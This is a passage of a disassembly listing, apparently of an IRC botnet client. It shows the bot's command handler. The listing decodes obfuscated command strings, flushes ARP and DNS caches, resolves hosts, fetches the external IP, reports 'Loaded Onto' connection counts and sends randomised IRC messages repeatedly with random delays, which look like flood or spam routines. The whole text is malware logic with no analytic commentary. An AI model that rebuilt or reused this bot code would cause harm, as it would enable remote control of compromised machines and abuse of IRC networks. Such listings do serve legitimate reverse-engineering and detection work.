edi push eax call sub_42A100 cmp edi, eax pop ecx jle loc_40D048 loc_40D0D6: ; CODE XREF: sub_40A9FE+2644j lea eax, [ebp+var_18480] cmp [ebp+arg_18], 0 push eax lea eax, [ebp+var_2E4] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_304] push eax lea eax, [ebp+var_2C20] push eax lea eax, [ebp+var_314] push eax push offset aUr6ne_mot50_ ; "Ur6ne.MOT50." push offset aSUserIsRunning ; "%s User is running mIRC v %s, Connected"... jnz short loc_40D11A push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A jmp short loc_40D124 ; --------------------------------------------------------------------------- loc_40D11A: ; CODE XREF: sub_40A9FE+270Dj push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 loc_40D124: ; CODE XREF: sub_40A9FE+271Aj add esp, 28h push [ebp+arg_C] call dword_437048 ; UnmapViewOfFile push [ebp+arg_68] call dword_437044 ; CloseHandle jmp short loc_40D15F ; --------------------------------------------------------------------------- loc_40D13B: ; CODE XREF: sub_40A9FE+2478j cmp [ebp+arg_14], 0 jnz short loc_40D15F cmp [ebp+arg_18], 0 jnz short loc_40D169 push offset aUr6ne_mot50_ ; "Ur6ne.MOT50." push offset aSClientNotOpen ; "%s Client not open." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40D15F: ; CODE XREF: sub_40A9FE+273Bj ; sub_40A9FE+2741j cmp [ebp+arg_18], 0 jz loc_414995 loc_40D169: ; CODE XREF: sub_40A9FE+2747j push offset aUr6ne_mot50_ ; "Ur6ne.MOT50." push offset aSClientNotOpen ; "%s Client not open." jmp loc_414744 ; --------------------------------------------------------------------------- loc_40D178: ; CODE XREF: sub_40A9FE+2460j push eax lea eax, [ebp+var_2B80] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 2 pop edi cmp [ebp+arg_4], edi jle short loc_40D1CF loc_40D195: ; CODE XREF: sub_40A9FE+27CFj mov eax, [ebx+edi*4] test eax, eax jz short loc_40D1C9 push eax lea eax, [ebp+var_1AB90] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_1AB90] push 104h push eax lea eax, [ebp+var_2B80] push eax call sub_4299E0 add esp, 18h loc_40D1C9: ; CODE XREF: sub_40A9FE+279Cj inc edi cmp edi, [ebp+arg_4] jl short loc_40D195 loc_40D1CF: ; CODE XREF: sub_40A9FE+2795j lea eax, [ebp+var_2B80] push eax call sub_426CEB test eax, eax pop ecx lea eax, [ebp+var_2B80] push eax push offset aUr6ne_mot50_ ; "Ur6ne.MOT50." jz short loc_40D1F3 push offset aSCommandSentS ; "%s Command sent: \"%s\"" jmp short loc_40D1F8 ; --------------------------------------------------------------------------- loc_40D1F3: ; CODE XREF: sub_40A9FE+27ECj push offset aSClientNotOp_0 ; "%s Client not open or found: \"%s\"" loc_40D1F8: ; CODE XREF: sub_40A9FE+27F3j ; sub_40A9FE+2941j ... cmp [ebp+arg_18], 0 jnz loc_414791 push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A jmp loc_41479B ; --------------------------------------------------------------------------- loc_40D212: ; CODE XREF: sub_40A9FE+2455j push dword ptr [ebx] push offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0" call edi ; dword_437178 test eax, eax jnz short loc_40D240 call sub_427EDC test eax, eax mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" mov edi, offset aSArpFlushed_ ; "%s ARP flushed." jnz loc_40B640 mov edi, offset aSFailedToFlush ; "%s Failed to flush ARP." jmp loc_40B640 ; --------------------------------------------------------------------------- loc_40D240: ; CODE XREF: sub_40A9FE+281Fj push dword ptr [ebx] push offset aWpuwr_6yfru ; "WpuWr.6YFRU/" call edi ; dword_437178 test eax, eax jnz short loc_40D27F mov eax, dword_456E14 test eax, eax jz short loc_40D275 call eax ; dword_456E14 test eax, eax mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" jz short loc_40D26B mov edi, offset aSDnsCacheFlush ; "%s DNS cache flushed." jmp loc_40B640 ; --------------------------------------------------------------------------- loc_40D26B: ; CODE XREF: sub_40A9FE+2861j mov edi, offset aSFailedToFlu_0 ; "%s Failed to flush DNS cache." jmp loc_40B640 ; --------------------------------------------------------------------------- loc_40D275: ; CODE XREF: sub_40A9FE+2856j mov edi, offset aSFailedToLoadD ; "%s Failed to load dnsapi.dll." jmp loc_40B63B ; --------------------------------------------------------------------------- loc_40D27F: ; CODE XREF: sub_40A9FE+284Dj push dword ptr [ebx] push offset a6x2ka0buubb_ ; "6x2Ka0buUbB." call edi ; dword_437178 test eax, eax jnz loc_40D344 mov eax, [ebx+4] test eax, eax jnz short loc_40D2CE mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." loc_40D2A1: ; CODE XREF: sub_40A9FE+2A7Cj ; sub_40A9FE+937Ej cmp [ebp+arg_14], 0 jnz short loc_40D2BD cmp [ebp+arg_18], 0 loc_40D2AB: ; CODE XREF: sub_40A9FE+4EB3j ; sub_40A9FE+519Cj jnz short loc_40D2C7 loc_40D2AD: ; CODE XREF: sub_40A9FE+9275j push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40D2BD: ; CODE XREF: sub_40A9FE+28A7j ; sub_40A9FE+4EAAj ... cmp [ebp+arg_18], 0 loc_40D2C1: ; CODE XREF: sub_40A9FE+617Fj jz loc_414995 loc_40D2C7: ; CODE XREF: sub_40A9FE:loc_40D2ABj ; sub_40A9FE+6164j ... push edi loc_40D2C8: ; CODE XREF: sub_40A9FE+9171j push ebx jmp loc_414744 ; --------------------------------------------------------------------------- loc_40D2CE: ; CODE XREF: sub_40A9FE+2897j push eax call dword_456F7C ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_4C], eax jz short loc_40D312 push 2 lea eax, [ebp+var_4C] push 4 push eax call dword_456ED8 ; gethostbyaddr test eax, eax jz short loc_40D330 push dword ptr [eax] loc_40D2F1: ; CODE XREF: sub_40A9FE+2930j push dword ptr [ebx+4] cmp [ebp+arg_18], 0 push offset aPimgt12pvee_ ; "pImgT12pvEE." push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSSSS_ ; "%s %s: %s -> %s." jnz loc_414988 jmp loc_414957 ; --------------------------------------------------------------------------- loc_40D312: ; CODE XREF: sub_40A9FE+28DDj push dword ptr [ebx+4] call dword_456FD4 ; gethostbyname test eax, eax jz short loc_40D330 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] push eax call dword_456FDC ; inet_ntoa push eax jmp short loc_40D2F1 ; --------------------------------------------------------------------------- loc_40D330: ; CODE XREF: sub_40A9FE+28EFj ; sub_40A9FE+291Fj push offset aJgyqn0dmzir12z ; "jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0" push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSS_1 ; "%s %s" jmp loc_40D1F8 ; --------------------------------------------------------------------------- loc_40D344: ; CODE XREF: sub_40A9FE+288Cj push dword ptr [ebx] push offset a4rmbzFcic21 ; "4RmBz/FCic21" call edi ; dword_437178 test eax, eax jnz short loc_40D367 push [ebp+arg_18] push [ebp+arg_10] push dword ptr [esi+0Ch] call sub_41BE01 loc_40D35F: ; CODE XREF: sub_40A9FE+1462j ; sub_40A9FE+1B6Dj add esp, 0Ch jmp loc_414995 ; --------------------------------------------------------------------------- loc_40D367: ; CODE XREF: sub_40A9FE+2951j push dword ptr [ebx] push offset aSc_coSwlk_ ; "SC.Co/swLK/." call edi ; dword_437178 test eax, eax jnz loc_40D40C mov ebx, offset dword_457C40 push offset byte_454A54 push ebx call edi ; dword_437178 test eax, eax jz short loc_40D394 push ebx call sub_41E4C1 test eax, eax pop ecx jz short loc_40D3F5 loc_40D394: ; CODE XREF: sub_40A9FE+2989j cmp [ebp+arg_14], 0 mov ebx, offset aHm1h_049e4o ; "Hm1H.049e4O/" mov edi, offset aSObtainingExte ; "%s Obtaining external IP" jnz short loc_40D3BA cmp [ebp+arg_18], 0 jnz short loc_40D3C0 push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40D3BA: ; CODE XREF: sub_40A9FE+29A4j cmp [ebp+arg_18], 0 jz short loc_40D3CF loc_40D3C0: ; CODE XREF: sub_40A9FE+29AAj push ebx push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 10h loc_40D3CF: ; CODE XREF: sub_40A9FE+29C0j mov ecx, [ebp+arg_10] call sub_41DB58 mov ecx, [ebp+arg_10] push eax call sub_41CF25 mov edi, eax push 2710h push edi call dword_43707C ; WaitForSingleObject push edi call dword_437044 ; CloseHandle loc_40D3F5: ; CODE XREF: sub_40A9FE+2994j push 0 push 1 push [ebp+arg_18] push [ebp+arg_10] push dword ptr [esi+0Ch] call sub_41C238 jmp loc_41479B ; --------------------------------------------------------------------------- loc_40D40C: ; CODE XREF: sub_40A9FE+2974j push dword ptr [ebx] push offset aLees11vpbnf0 ; "LeEs11vPbnf0" call edi ; dword_437178 test eax, eax jnz loc_40F05B call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx push dword ptr [ebx+4] push offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb." call edi ; dword_437178 test eax, eax jnz loc_40D51D xor ecx, ecx cmp [ebx+4], ecx jz loc_40E0E1 cmp [ebx+8], ecx jz loc_40E0E1 cmp [ebx+0Ch], ecx jz loc_40E0E1 mov eax, [ebx+10h] cmp eax, ecx jz loc_40E0E1 push eax call sub_42A100 cmp eax, 0Fh pop ecx jle short loc_40D47F mov edi, offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1" mov ebx, offset aSTooMuchConns_ ; "%s Too Much conns." jmp loc_40D2A1 ; --------------------------------------------------------------------------- loc_40D47F: ; CODE XREF: sub_40A9FE+2A70j cmp dword ptr [ebx+14h], 0 jnz short loc_40D48C mov dword ptr [ebx+14h], offset byte_454A54 loc_40D48C: ; CODE XREF: sub_40A9FE+2A85j push dword ptr [ebx+14h] push dword ptr [ebx+10h] call sub_42A100 pop ecx push eax push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_4266D3 add esp, 10h cmp [ebp+arg_14], 0 jnz short loc_40D4E9 cmp [ebp+arg_18], 0 jnz short loc_40D4EF push dword ptr [ebx+10h] call sub_42A100 pop ecx push eax push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1" push offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_40D4E9: ; CODE XREF: sub_40A9FE+2AB4j cmp [ebp+arg_18], 0 jz short loc_40D51D loc_40D4EF: ; CODE XREF: sub_40A9FE+2ABAj push dword ptr [ebx+10h] call sub_42A100 pop ecx push eax push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1" push offset aSLoadedOntoSDA ; "%s Loaded Onto: (%s:%d), Amount: (%d)" push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_40D51D: ; CODE XREF: sub_40A9FE+2A38j ; sub_40A9FE+2AEFj push dword ptr [ebx+4] push offset aA52n11svyfw0 ; "A52N11SVYFw0" call edi ; dword_437178 test eax, eax jnz loc_40D5E8 cmp [ebx+8], eax jz loc_40D5E8 push 2710h push eax lea eax, [ebp+var_5CA40] push eax call sub_429760 push 104h lea eax, [ebp+var_2FAC] push 0 push eax call sub_429760 push dword ptr [ebx+8] lea eax, [ebp+var_2FAC] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 24h push 3 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_68], eax jle short loc_40D5C1 loc_40D57F: ; CODE XREF: sub_40A9FE+2BC1j mov eax, [ebp+arg_68] mov eax, [ebx+eax*4] test eax, eax jz short loc_40D5B6 push eax lea eax, [ebp+var_5CA40] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_5CA40] push 104h push eax lea eax, [ebp+var_2FAC] push eax call sub_4299E0 add esp, 18h loc_40D5B6: ; CODE XREF: sub_40A9FE+2B89j inc [ebp+arg_68] mov eax, [ebp+arg_68] cmp eax, [ebp+arg_4] jl short loc_40D57F loc_40D5C1: ; CODE XREF: sub_40A9FE+2B7Fj lea eax, [ebp+var_2FAC] push eax lea eax, [ebp+var_1F9B0] push offset aS_5 ; "%s" push eax call sub_429B03 lea eax, [ebp+var_1F9B0] push eax call sub_42638E add esp, 10h loc_40D5E8: ; CODE XREF: sub_40A9FE+2B2Bj ; sub_40A9FE+2B34j push dword ptr [ebx+4] push offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0" call edi ; dword_437178 test eax, eax jnz loc_40D696 mov eax, [ebx+0Ch] test eax, eax jz loc_40D696 push eax lea eax, [ebp+var_5CC0] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_68], eax jle short loc_40D667 loc_40D625: ; CODE XREF: sub_40A9FE+2C67j mov eax, [ebp+arg_68] mov eax, [ebx+eax*4] test eax, eax jz short loc_40D65C push eax lea eax, [ebp+var_E840] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_E840] push 100h push eax lea eax, [ebp+var_5CC0] push eax call sub_4299E0 add esp, 18h loc_40D65C: ; CODE XREF: sub_40A9FE+2C2Fj inc [ebp+arg_68] mov eax, [ebp+arg_68] cmp eax, [ebp+arg_4] jl short loc_40D625 loc_40D667: ; CODE XREF: sub_40A9FE+2C25j lea eax, [ebp+var_5CC0] push eax lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40D696: ; CODE XREF: sub_40A9FE+2BF6j ; sub_40A9FE+2C01j push dword ptr [ebx+4] push offset aR7wrsQhek_0 ; "r7WRs/qHek.0" call edi ; dword_437178 test eax, eax jnz loc_40DC31 cmp [ebx+8], eax jz loc_40DC31 call sub_429B9C push 1Ah mov esi, offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz1234567890abc"... cdq pop ecx lea edi, [ebp+var_768] idiv ecx push 0Fh pop ecx rep movsd movsw movsb add dl, 41h mov byte ptr [ebp+arg_68+3], dl call sub_429B9C push 0Fh pop esi cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx movsx eax, byte ptr [ebp+arg_68+3] push edx push eax call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx lea eax, [ebp+var_247D0] push edx push offset dword_441180 push eax call sub_429B03 add esp, 0BCh call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx lea eax, [ebp+var_295F0] push edx push offset dword_441158 push eax call sub_429B03 lea eax, [ebp+var_2E410] push offset unk_4410C8 push eax call sub_429B03 lea eax, [ebp+var_247D0] mov edi, offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push eax lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push edi push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E lea eax, [ebp+var_295F0] push eax lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push edi push offset aSSS ; "%s %s :%s" push eax call sub_429B03 add esp, 44h lea eax, [ebp+var_59BC] push eax call sub_42638E lea eax, [ebp+var_2E410] push eax lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push edi push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E mov edi, 2710h lea eax, [ebp+var_2BD00] push edi push 0 push eax call sub_429760 push edi lea eax, [ebp+var_4DFE0] push 0 push eax call sub_429760 add esp, 34h call sub_429B9C cdq mov ecx, esi idiv ecx mov [ebp+arg_68], edx call sub_429B9C cdq idiv esi mov esi, dword_437188 mov [ebp+var_4], 8Fh mov [ebp+arg_8], edx loc_40D9DB: ; CODE XREF: sub_40A9FE+3063j call esi ; dword_437188 push eax call sub_429B8F cmp [ebp+arg_68], 0Fh pop ecx jle short loc_40D9F8 call sub_429B9C push 0Fh cdq pop ecx idiv ecx mov [ebp+arg_68], edx loc_40D9F8: ; CODE XREF: sub_40A9FE+2FEAj cmp [ebp+arg_8], 0Fh jle short loc_40DA0C call sub_429B9C push 0Fh cdq pop ecx idiv ecx mov [ebp+arg_8], edx loc_40DA0C: ; CODE XREF: sub_40A9FE+2FFEj call sub_429B9C push 24h cdq pop ecx idiv ecx movsx eax, [ebp+edx+var_768] push eax lea eax, [ebp+var_2BD00] push [ebp+arg_8] push [ebp+arg_68] push offset dword_4410B4 push edi push eax call sub_429BBE add esp, 18h lea eax, [ebp+var_2BD00] push eax lea eax, [ebp+var_4DFE0] push eax call dword_437090 ; lstrcatA inc [ebp+arg_68] inc [ebp+arg_8] call esi ; dword_437188 push eax call sub_429B8F dec [ebp+var_4] pop ecx jnz loc_40D9DB lea eax, [ebp+var_4DFE0] mov esi, offset aSSS ; "%s %s :%s" push eax lea eax, [ebp+var_33230] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push esi push eax call sub_429B03 lea eax, [ebp+var_33230] push eax call sub_42638E push edi lea eax, [ebp+var_30B20] push 0 push eax call sub_429760 push edi lea eax, [ebp+var_10F50] push 0 push eax call sub_429760 add esp, 30h call sub_429B9C push 0Fh cdq pop ecx idiv ecx mov [ebp+arg_68], edx call sub_429B9C push 0Fh mov [ebp+var_4], 8Fh cdq pop ecx idiv ecx mov [ebp+arg_8], edx loc_40DAD8: ; CODE XREF: sub_40A9FE+3168j call dword_437188 ; GetTickCount push eax call sub_429B8F cmp [ebp+arg_68], 0Fh pop ecx jle short loc_40DAF9 call sub_429B9C push 0Fh cdq pop ecx idiv ecx mov [ebp+arg_68], edx loc_40DAF9: ; CODE XREF: sub_40A9FE+30EBj cmp [ebp+arg_8], 0Fh jle short loc_40DB0D call sub_429B9C push 0Fh cdq pop ecx idiv ecx mov [ebp+arg_8], edx loc_40DB0D: ; CODE XREF: sub_40A9FE+30FFj call sub_429B9C push 24h cdq pop ecx idiv ecx movsx eax, [ebp+edx+var_768] push eax lea eax, [ebp+var_30B20] push [ebp+arg_8] push [ebp+arg_68] push offset dword_4410A4 push edi push eax call sub_429BBE add esp, 18h lea eax, [ebp+var_30B20] push eax lea eax, [ebp+var_10F50] push eax call dword_437090 ; lstrcatA inc [ebp+arg_68] inc [ebp+arg_8] call dword_437188 ; GetTickCount push eax call sub_429B8F dec [ebp+var_4] pop ecx jnz loc_40DAD8 lea eax, [ebp+var_10F50] push eax lea eax, [ebp+var_1D2A0] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push esi push eax call sub_429B03 lea eax, [ebp+var_1D2A0] push eax call sub_42638E push edi lea eax, [ebp+var_1D2A0] push 0 push eax call sub_429760 lea eax, [ebp+var_10F50] push eax lea eax, [ebp+var_1D2A0] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push esi push eax call sub_429B03 lea eax, [ebp+var_1D2A0] push eax call sub_42638E lea eax, [ebp+var_2230] push eax call sub_426761 add esp, 40h lea eax, [ebp+var_2230] mov esi, offset aSS_1 ; "%s %s" push eax push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0" lea eax, [ebp+var_59BC] push esi push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aYjmlc1btsf10 ; "yJmlc1btsF10" push esi push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E mov esi, [ebp+arg_C] mov edi, dword_437178 add esp, 28h loc_40DC31: ; CODE XREF: sub_40A9FE+2CA4j ; sub_40A9FE+2CADj push dword ptr [ebx+4] push offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0" call edi ; dword_437178 test eax, eax jnz loc_40DE47 mov eax, [ebx+0Ch] test eax, eax jz loc_40DE47 push eax lea eax, [ebp+var_5FC8] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_68], eax jle short loc_40DCB0 loc_40DC6E: ; CODE XREF: sub_40A9FE+32B0j mov eax, [ebp+arg_68] mov eax, [ebx+eax*4] test eax, eax jz short loc_40DCA5 push eax lea eax, [ebp+var_E840] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_E840] push 100h push eax lea eax, [ebp+var_5FC8] push eax call sub_4299E0 add esp, 18h loc_40DCA5: ; CODE XREF: sub_40A9FE+3278j inc [ebp+arg_68] mov eax, [ebp+arg_68] cmp eax, [ebp+arg_4] jl short loc_40DC6E loc_40DCB0: ; CODE XREF: sub_40A9FE+326Ej lea eax, [ebp+var_5FC8] push eax lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441098 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441088 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441088 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441088 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441074 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441064 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441064 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h loc_40DE47: ; CODE XREF: sub_40A9FE+323Fj ; sub_40A9FE+324Aj push dword ptr [ebx+4] push offset aDqjso_47pdb ; "dQJSO.47pdb/" call edi ; dword_437178 test eax, eax jnz loc_40DF0E cmp [ebx+8], eax jz loc_40DF0E lea eax, [ebp+var_59BC] push eax call sub_42638E push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441088 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441088 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h call sub_429B9C cdq mov ecx, 514h idiv ecx push edx call dword_437190 ; Sleep push dword ptr [ebx+8] lea eax, [ebp+var_59BC] push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0" push offset dword_441088 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 14h loc_40DF0E: ; CODE XREF: sub_40A9FE+3455j ; sub_40A9FE+345Ej push dword ptr [ebx+4] push offset aK9vUKkutm ; "K9V/U/KkuTM/" call edi ; dword_437178 test eax, eax jnz loc_40DFBC mov eax, [ebx+0Ch] test eax, eax jz loc_40DFBC push eax lea eax, [ebp+var_30AC] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_68], eax jle short loc_40DF8D loc_40DF4B: ; CODE XREF: sub_40A9FE+358Dj mov eax, [ebp+arg_68] mov eax, [ebx+eax*4] test eax, eax jz short loc_40DF82 push eax lea eax, [ebp+var_E840] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_E840] push 100h push eax lea eax, [ebp+var_30AC] push eax call sub_4299E0 add esp, 18h loc_40DF82: ; CODE XREF: sub_40A9FE+3555j inc [ebp+arg_68] mov eax, [ebp+arg_68] cmp eax, [ebp+arg_4] jl short loc_40DF4B loc_40DF8D: ; CODE XREF: sub_40A9FE+354Bj lea eax, [ebp+var_30AC] push eax lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aG7IvGks9l1 ; "g7/IV/gks9L1" push offset aSSS ; "%s %s :%s" push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40DFBC: ; CODE XREF: sub_40A9FE+351Cj ; sub_40A9FE+3527j push dword ptr [ebx+4] push offset a7yfnz0pw11s1 ; "7yfnz0PW11s1" call edi ; dword_437178 test eax, eax jnz loc_40E06A mov eax, [ebx+0Ch] test eax, eax jz loc_40E06A push eax lea eax, [ebp+var_5ABC] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 4 pop eax cmp [ebp+arg_4], eax mov [ebp+arg_68], eax jle short loc_40E03B loc_40DFF9: ; CODE XREF: sub_40A9FE+363Bj mov eax, [ebp+arg_68] mov eax, [ebx+eax*4] test eax, eax jz short loc_40E030 push eax lea eax, [ebp+var_E840] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_E840] push 100h push eax lea eax, [ebp+var_5ABC] push eax call sub_4299E0 add esp, 18h loc_40E030: ; CODE XREF: sub_40A9FE+3603j inc [ebp+arg_68] mov eax, [ebp+arg_68] cmp eax, [ebp+arg_4] jl short loc_40DFF9 loc_40E03B: ; CODE XREF: sub_40A9FE+35F9j lea eax, [ebp+var_5ABC] push eax lea eax, [ebp+var_59BC] push dword ptr [ebx+8] push offset aLcxMHdpwr1_0 ; "lCX/m/HdpWr1" push offset dword_441058 push eax call sub_429B03 lea eax, [ebp+var_59BC] push eax call sub_42638E add esp, 18h loc_40E06A: ; CODE XREF: sub_40A9FE+35CAj ; sub_40A9FE+35D5j push dword ptr [ebx+4] push offset aNq_as1z1sit ; 